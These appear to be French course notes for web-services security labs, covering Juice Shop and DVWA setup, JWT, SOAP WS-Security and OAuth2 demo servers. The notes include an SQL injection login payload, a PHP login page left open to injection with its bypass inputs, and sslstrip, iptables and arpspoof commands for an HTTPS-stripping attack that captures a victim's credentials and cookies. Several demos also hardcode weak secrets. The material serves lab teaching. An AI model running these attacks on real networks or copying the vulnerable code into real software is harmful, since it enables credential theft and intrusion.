Courses SER
services:
juice:
image: bkimminich/juice-shop
ports: ["3000:3000"]
dvwa:
image: vulnerables/web-dvwa
ports: ["80:80"]
Docker compose TP
Télécharger burp suite community :
Professional / Community 2025.9.5
This release introduces support for custom Java scan checks, a more streamlined scan configuration panel in the scan launcher, and several quality of life improvements. Custom scan checks in Java You

Télécharger owasp zap:
ZAP – Download
The world’s most widely used web app scanner. Free and open source. ZAP is a community project actively maintained by a dedicated international team, and a GitHub Top 1000 project.
# Docker compose pour lab
docker-compose up -d
# Juice Shop : http://localhost:3000
# DVWA : http://localhost
# Login : admin
# Password : passwordPOST /rest/user/login HTTP/1.1
Host: localhost:3000
Content-Type: application/json
{"email":"test@toto.com' OR '1'='1';","password":"testtest"}burpsuite
# Mettre à jour et installer outils
sudo apt update
sudo apt install -y wireshark mitmproxy openssl curl
# (Sur macOS, utiliser brew : brew install wireshark mitmproxy openssl)
TP : Endpoint securisé
const express = require('express');
const jwt = require('jsonwebtoken');
const app = express();
app.use(express.json());
const secret = 'secret_key';
app.post('/login', (req,res)=>{
const token = jwt.sign({user: req.body.user}, secret, {expiresIn: '1h'});
res.json({token});
});
app.get('/data', (req,res)=>{
const token = req.headers['authorization'];
try {
jwt.verify(token, secret);
res.json({data:'Contenu sécurisé'});
} catch {
res.status(401).send('Token invalide');
}
});
app.listen(3000);
TP : SOAP avec WS-Security
mkdir wssecurity-demo
cd wssecurity-demo
npm init -y
npm install soap express body-parserwssecurity-demo/
├─ server.js
├─ myservice.js
└─ myservice.wsdl
structure du projet
module.exports = {
MyService: {
MyPort: {
getSecretData: function (args, callback, headers) {
const security = headers.Security;
if (!security || !security.UsernameToken) {
throw new Error("Missing WS-Security header");
}
const username = security.UsernameToken.Username;
const password = security.UsernameToken.Password;
// Vérification basique
if (username === "admin" && password === "secret") {
return { result: "Confidential data: [TOP SECRET]" };
} else {
throw new Error("Invalid credentials");
}
}
}
}
};
myservice.js
<definitions name="MyService"
targetNamespace="http://example.org/myservice/"
xmlns:tns="http://example.org/myservice/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/">
<message name="getSecretDataRequest">
<part name="parameters" element="tns:getSecretData"/>
</message>
<message name="getSecretDataResponse">
<part name="parameters" element="tns:getSecretDataResponse"/>
</message>
<portType name="MyPortType">
<operation name="getSecretData">
<input message="tns:getSecretDataRequest"/>
<output message="tns:getSecretDataResponse"/>
</operation>
</portType>
<binding name="MyBinding" type="tns:MyPortType">
<soap:binding transport="http://schemas.xmlsoap.org/soap/http" style="document"/>
<operation name="getSecretData">
<soap:operation soapAction="getSecretData"/>
<input><soap:body use="literal"/></input>
<output><soap:body use="literal"/></output>
</operation>
</binding>
<service name="MyService">
<port name="MyPort" binding="tns:MyBinding">
<soap:address location="http://localhost:8000/wsdl"/>
</port>
</service>
</definitions>
myservice.wsdl
const express = require("express");
const fs = require("fs");
const soap = require("soap");
const myService = require("./myservice");
const wsdl = fs.readFileSync("myservice.wsdl", "utf8");
const app = express();
const port = 8000;
app.listen(port, () => {
soap.listen(app, "/wsdl", myService, wsdl);
console.log(`SOAP service running at http://localhost:${port}/wsdl?wsdl`);
});
server.js
Test avec SOAP UI ou Podman
- Importer le WSDL
- Ouvrir SoapUI
- Créer un New SOAP Project
- Coller l’URL :
http://localhost:8000/wsdl?wsdl - SoapUI charge les opérations disponibles (ici :
getSecretData).
- Ajouter la Header
<soapenv:Header xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/12/secext">
<wsse:UsernameToken>
<wsse:Username>admin</wsse:Username>
<wsse:Password>secret</wsse:Password>
</wsse:UsernameToken>
</wsse:Security>
</soapenv:Header>
- Execute la requête
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ex="http://example.org/myservice/">
<soapenv:Header>
<wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/12/secext">
<wsse:UsernameToken>
<wsse:Username>admin</wsse:Username>
<wsse:Password>secret</wsse:Password>
</wsse:UsernameToken>
</wsse:Security>
</soapenv:Header>
<soapenv:Body>
<ex:getSecretData/>
</soapenv:Body>
</soapenv:Envelope>
Oauth2
// model.js
const crypto = require("crypto");
const users = [
{ id: 1, username: "alice", password: "password123" },
];
const clients = [
{
id: 1,
clientId: "client-id",
clientSecret: "client-secret",
grants: ["password"],
redirectUris: [],
},
];
const tokens = [];
module.exports = {
getAccessToken: async (accessToken) => {
const token = tokens.find((t) => t.accessToken === accessToken);
return token ? { ...token, user: token.user, client: token.client } : null;
},
getClient: async (clientId, clientSecret) => {
return clients.find(
(client) =>
client.clientId === clientId && client.clientSecret === clientSecret
);
},
saveToken: async (token, client, user) => {
const savedToken = {
accessToken: crypto.randomBytes(32).toString("hex"),
accessTokenExpiresAt: new Date(Date.now() + 3600 * 1000),
client,
user,
};
tokens.push(savedToken);
return savedToken;
},
getUser: async (username, password) => {
return users.find(
(user) => user.username === username && user.password === password
);
},
};
model.js
// server.js
const express = require("express");
const bodyParser = require("body-parser");
const OAuth2Server = require("oauth2-server");
const model = require("./model");
const app = express();
app.use(bodyParser.urlencoded({ extended: true }));
app.use(bodyParser.json());
app.oauth = new OAuth2Server({
model,
accessTokenLifetime: 60 * 60,
allowBearerTokensInQueryString: true,
});
// Route pour obtenir un token
app.post("/oauth/token", async (req, res) => {
const request = new OAuth2Server.Request(req);
const response = new OAuth2Server.Response(res);
try {
const token = await app.oauth.token(request, response);
res.json(token);
} catch (err) {
res.status(err.code || 500).json(err);
}
});
// wrapper
const authenticate = async (req, res, next) => {
const request = new OAuth2Server.Request(req);
const response = new OAuth2Server.Response(res);
try {
const token = await app.oauth.authenticate(request, response);
// attache l’utilisateur ou le token au req
req.user = token.user || token;
return next();
} catch (err) {
return res.status(err.code || 500).json({ error: err.name, message: err.message });
}
};
// Route protégée
app.get("/secure", authenticate, (req, res) => {
res.json({
message: "Accès autorisé",
user: req.user,
});
});
app.listen(3000, () => {
console.log("OAuth2 Server démarré sur http://localhost:3000");
});
server.js
node server.jscurl -X POST http://localhost:3000/oauth/token \
-u client-id:client-secret \
-d "grant_type=password" \
-d "username=alice" \
-d "password=password123"
curl -H "Authorization: Bearer remplace-par-token" \
http://localhost:3000/secure
Exploitation d’une faille critique sur le frontal HTTP:
- Injection SQL sur page de login non sécurisée
- Préparer un environnement de test
- Serveur Web + base MySQL ou SQLite.
- Exemple minimal HTML formulaire login :
<form method="POST" action="/login">
Username: <input type="text" name="user">
Password: <input type="password" name="pass">
<input type="submit">
</form>
index.html
Backend PHP
<?php
$user = $_POST['user'];
$pass = $_POST['pass'];
$conn = new mysqli('localhost','root','','testdb');
$sql = "SELECT * FROM users WHERE username='$user' AND password='$pass'";
$result = $conn->query($sql);
if($result->num_rows > 0){
echo "Login successful";
} else {
echo "Login failed";
}
?>
login.php
Exploitation
- user: ' OR '1'='1
- pass: ' OR '1'='1
Résultat : connexion bypassée → faille critique.
Attaque de type HTTPS Stripping
Préparer l’environnement
- Serveur Web avec HTTPS.
- Machine attaquante sur le même réseau (Wi-Fi de test).
Installer outil de HTTPS Stripping
- sudo apt install sslstrip
- sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
- sudo sslstrip -l 10000
Activer le proxy et arp-spoofing
- Intercepter le trafic de la victime avec
arpspoof. - sudo arpspoof -i eth0 -t <victim_ip> <gateway_ip>
- Toutes les connexions HTTPS de la victime passent en HTTP, capture des identifiants et cookies possible.
